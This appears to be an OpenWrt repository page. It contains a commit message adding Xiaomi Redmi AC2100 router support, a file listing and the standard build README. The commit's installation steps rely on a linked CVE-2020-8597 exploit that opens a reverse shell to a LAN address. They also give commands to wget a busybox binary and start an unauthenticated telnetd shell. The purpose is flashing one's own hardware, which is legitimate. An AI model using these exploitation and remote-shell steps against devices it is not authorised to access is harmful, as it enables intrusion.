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f3792690c4
Specification: - CPU: MediaTek MT7621A - RAM: 128 MB DDR3 - FLASH: 128 MB ESMT NAND - WIFI: 2x2 802.11bgn (MT7603) - WIFI: 4x4 802.11ac (MT7615) - ETH: 3xLAN+1xWAN 1000base-T - LED: Power, WAN, in Amber and White - UART: On board near ethernet, opposite side from power - Modified u-boot Installation: 1. Run linked exploit to get shell, startup telnet and wget the files over 2. mtd write openwrt-ramips-mt7621-xiaomi_rm2100-squashfs-kernel1.bin kernel1 3. nvram set uart_en=1 4. nvram set bootdelay=5 5. nvram set flag_try_sys1_failed=1 6. nvram commit 7. mtd -r write openwrt-ramips-mt7621-xiaomi_rm2100-squashfs-rootfs0.bin rootfs0 Restore to stock: 1. Setup PXE and TFTP server serving stock firmware image (See dhcp-boot option of dnsmasq) 2. Hold reset button down before powering on and wait for flashing amber led 3. Release reset button 4. Wait until status led changes from flashing amber to white Notes: This device has dual kernel and rootfs slots like other Xiaomi devices currently supported (mir3g, etc.) thus, we use the second slot and overwrite the first rootfs onwards in order to get more space. Exploit and detailed instructions: https://openwrt.org/toh/xiaomi/xiaomi_redmi_router_ac2100 An implementation of CVE-2020-8597 against stock firmware version 1.0.14 This requires a computer with ethernet plugged into the wan port and an active PPPoE session, and if successful will open a reverse shell to 192.168.31.177 on port 31337. As this shell is somewhat unreliable and likely to be killed in a random amount of time, it is recommended to wget a static compiled busybox binary onto the device and start telnetd with it. The stock telnetd and dropbear unfortunately appear inoperable. (Disabled on release versions of stock firmware likely) Ie. wget https://yourip/busybox-mipsel -O /tmp/busybox chmod a+x /tmp/busybox /tmp/busybox telnetd -l /bin/sh Tested-by: David Martinez <bonkilla@gmail.com> Signed-off-by: Richard Huynh <voxlympha@gmail.com> |
4 years ago | |
|---|---|---|
| .github | 6 years ago | |
| config | 4 years ago | |
| include | 4 years ago | |
| package | 4 years ago | |
| scripts | 4 years ago | |
| target | 4 years ago | |
| toolchain | 4 years ago | |
| tools | 4 years ago | |
| .gitattributes | 12 years ago | |
| .gitignore | 4 years ago | |
| BSDmakefile | 17 years ago | |
| Config.in | 7 years ago | |
| LICENSE | 8 years ago | |
| Makefile | 4 years ago | |
| README | 5 years ago | |
| feeds.conf.default | 6 years ago | |
| rules.mk | 5 years ago | |
README
_______ ________ __
| |.-----.-----.-----.| | | |.----.| |_
| - || _ | -__| || | | || _|| _|
|_______|| __|_____|__|__||________||__| |____|
|__| W I R E L E S S F R E E D O M
-----------------------------------------------------
This is the buildsystem for the OpenWrt Linux distribution.
To build your own firmware you need a Linux, BSD or MacOSX system (case
sensitive filesystem required). Cygwin is unsupported because of the lack
of a case sensitive file system.
You need gcc, binutils, bzip2, flex, python3.5+, perl, make, find, grep, diff,
unzip, gawk, getopt, subversion, libz-dev and libc headers installed.
1. Run "./scripts/feeds update -a" to obtain all the latest package definitions
defined in feeds.conf / feeds.conf.default
2. Run "./scripts/feeds install -a" to install symlinks for all obtained
packages into package/feeds/
3. Run "make menuconfig" to select your preferred configuration for the
toolchain, target system & firmware packages.
4. Run "make" to build your firmware. This will download all sources, build
the cross-compile toolchain and then cross-compile the Linux kernel & all
chosen applications for your target system.
Sunshine!
Your OpenWrt Community
http://www.openwrt.org